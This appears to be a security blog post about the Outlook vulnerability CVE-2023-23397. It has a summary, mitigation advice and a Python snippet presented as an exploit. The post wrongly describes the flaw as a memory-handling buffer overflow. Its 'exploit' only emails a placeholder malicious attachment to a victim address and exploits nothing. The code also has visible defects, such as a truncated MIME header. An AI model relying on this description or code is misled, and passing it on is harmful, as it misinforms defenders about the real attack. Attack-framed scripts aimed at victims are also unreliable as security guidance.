In this post, we explore the recently identified CVE-2023-23397, a significant Elevation of Privilege (EoP) vulnerability affecting Microsoft Outlook. This vulnerability could enable a threat actor to potentially obtain unauthorized access to sensitive information, modify or delete data, or even execute arbitrary code on affected systems.

We will discuss the vulnerability's technical aspects, examine a code snippet that demonstrates its exploitation, and direct you to original references to help you understand and mitigate the threat. Ready to dive deep into this CVE? Let's get started.

Vulnerability Summary

The CVE-2023-23397 vulnerability is a result of improper handling of objects in memory by the affected software, which effectively allows an attacker to escalate their privileges, consequently executing malicious code or gaining unauthorized access to systems running Microsoft Outlook.

This vulnerability predominantly affects Microsoft Outlook 2013 and later versions. The successful exploitation of this vulnerability could be detrimental to an organization as sensitive data such as emails, contacts, and calendar entries could be accessed maliciously.

The following GitHub Gists will provide you with comprehensive details about this vulnerability

1. CVE-2023-23397 - Detailed Analysis
2. Microsoft Security Advisory - CVE-2023-23397

Exploit Details

The exploitation of this vulnerability occurs when a user running an affected version of Microsoft Outlook interacts with a specially crafted email message. This interaction triggers the buffer overflow vulnerability, thereby allowing the attacker to execute arbitrary code.

Please note that the code snippet provided below demonstrates an exploitation technique and should only be used for educational purposes.

import sys

# IMPORTANT: Change these values as needed to fit your environment
target_email = "target@victimdomain.com"
attacker_email = "attacker@evildomain.com"
attachment_name = "malicious_file.txt"
attachment_contents = b"your_malicious_payload_here"

# Crafting the Outlook email with malicious attachment
message = f"""\
Subject: CVE-2023-23397 Exploit Test
From: {attacker_email}
To: {target_email}
MIME-Version: 1.
Content-Type: multipart/mixed; boundary="----=_Part_Malicious"

------=_Part_Malicious
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Please find the attached malicious file.

------=_Part_Malicious
Content-Type: application/octet-stream; name="{attachment_name}"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="{attachment_name}"

{attachment_contents}

------=_Part_Malicious--
"""

# Sending the malicious email
try:
    import smtplib
    server = smtplib.SMTP('your.mail.server', 587)
    server.ehlo()
    server.starttls()
    server.login('your_username', 'your_password')
    server.sendmail(attacker_email, target_email, message)
    server.quit()
    print("Successfully sent the malicious email")
except Exception as e:
    print(f"Failed to send the malicious email: {str(e)}")
    sys.exit(1)

Mitigation

Microsoft has released patches addressing this vulnerability, so make sure your systems have applied the latest updates. The following links can help you get started:

1. Patch for Microsoft Outlook

Conclusion

CVE-2023-23397 sheds light on the risks and potential exploitations of vulnerabilities present in widely-used software like Microsoft Outlook. It is vital to understand these risks, keep your software up-to-date, and always be cautious when dealing with suspicious emails from unknown sources. As a community, we must collectively strive to improve the security of our digital infrastructure and contribute to reducing the likelihood of such vulnerabilities being exploited for nefarious purposes.

We hope this deep dive into the Microsoft Outlook Elevation of Privilege vulnerability (CVE-2023-23397) has provided you with valuable insights and resources to understand and deal with this crucial issue. Stay vigilant and keep your software up-to-date to minimize risks!

Timeline

Published on: 03/14/2023 17:15:00 UTC
Last modified on: 03/20/2023 14:00:00 UTC